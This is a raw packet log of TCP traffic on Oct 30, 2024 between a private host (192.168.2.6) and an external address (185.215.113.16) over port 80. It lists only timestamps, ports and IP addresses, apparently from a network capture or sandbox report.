Oct 30, 2024 05:24:23.772227049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772238016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.772253990 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.772281885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.773092985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773103952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773117065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773155928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773166895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773176908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773180962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.773189068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773201942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.773241043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.773262978 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.774032116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774043083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774054050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774075985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.774126053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774137020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774142981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774152040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774163961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.774185896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.774213076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.777062893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777080059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777122974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777126074 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.777196884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777215004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777225971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777235031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.777239084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777251959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777270079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.777293921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.777375937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.777832985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777854919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777863979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.777905941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.778203964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.778213978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.778224945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.778234959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.778254986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.778285027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.778578997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.778588057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.778647900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.799218893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.808135033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.823888063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.823899984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.823911905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.823944092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.823959112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.823983908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845665932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845750093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845761061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845768929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845782995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845793009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845803976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845809937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845830917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845844030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845854044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845859051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845866919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845870972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845895052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845928907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845941067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845951080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.845967054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.845988035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.846015930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846026897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846036911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846061945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.846076965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846086025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846112967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.846152067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846163988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846180916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846191883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.846201897 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.846231937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896297932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896378994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896390915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896404028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896425009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896426916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896437883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896450043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896457911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896485090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896490097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896502018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896512985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896523952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896536112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896558046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896616936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896627903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896637917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896662951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896675110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.896698952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896711111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896722078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.896806002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.943129063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.943141937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.943152905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.943216085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.943228006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.943238020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.944804907 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.964771032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964823008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964833975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964843988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964854956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964879990 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.964915037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964919090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.964956045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964967966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.964999914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965013027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965032101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965044022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965055943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965075970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965087891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965112925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965125084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965154886 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965179920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965202093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965213060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965224028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965234041 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965250969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965281010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965293884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965310097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965322018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965363026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965440989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965452909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965471983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965482950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965493917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965501070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965519905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965533018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965533972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.965543985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.965580940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015605927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015642881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015681028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015682936 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015697956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015719891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015731096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015743971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015747070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015759945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015763998 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015774965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015789032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015794039 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015801907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015814066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015834093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015852928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015863895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015882015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015882015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015894890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.015908957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.015933990 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.016010046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.016020060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.016057014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.062200069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.062275887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.062284946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.062295914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.062306881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.062318087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.062334061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.062364101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.083931923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.083944082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.083954096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.083965063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.083983898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084033012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084048986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084100008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084120035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084136963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084147930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084170103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084184885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084189892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084196091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084213972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084227085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084229946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084244967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084299088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084348917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084415913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084425926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084436893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084449053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084460020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084464073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084498882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084502935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084542036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084547997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084558964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084580898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084592104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084599972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084636927 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084677935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084688902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084707975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084718943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.084727049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.084758043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.134778976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134792089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134803057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134838104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134843111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.134881020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.134896040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134907961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134951115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134958029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.134963036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134974957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.134998083 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.135061979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135103941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.135198116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135207891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135248899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.135277987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135289907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135301113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135328054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.135380983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135390043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.135430098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.181662083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181715012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181718111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.181730986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181760073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181772947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181777954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.181785107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181794882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181806087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181808949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.181823015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.181849003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.181876898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204283953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204399109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204410076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204421997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204435110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204447031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204444885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204458952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204473972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204492092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204507113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204514027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204519987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204533100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204538107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204545975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204557896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204569101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204579115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204591036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204597950 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204603910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204611063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204616070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204629898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204638958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.204652071 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.204672098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.206222057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.206274033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.206274986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.206288099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.206300020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.206348896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.254273891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254293919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254306078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254317045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254328966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254340887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254354000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254364967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254369974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.254410982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.254410982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.254590034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254601955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254626989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254638910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254650116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254652977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.254674911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254686117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254690886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.254722118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.254755020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.300709009 CET	80	49760	185.215.113.16	192.168.2.6
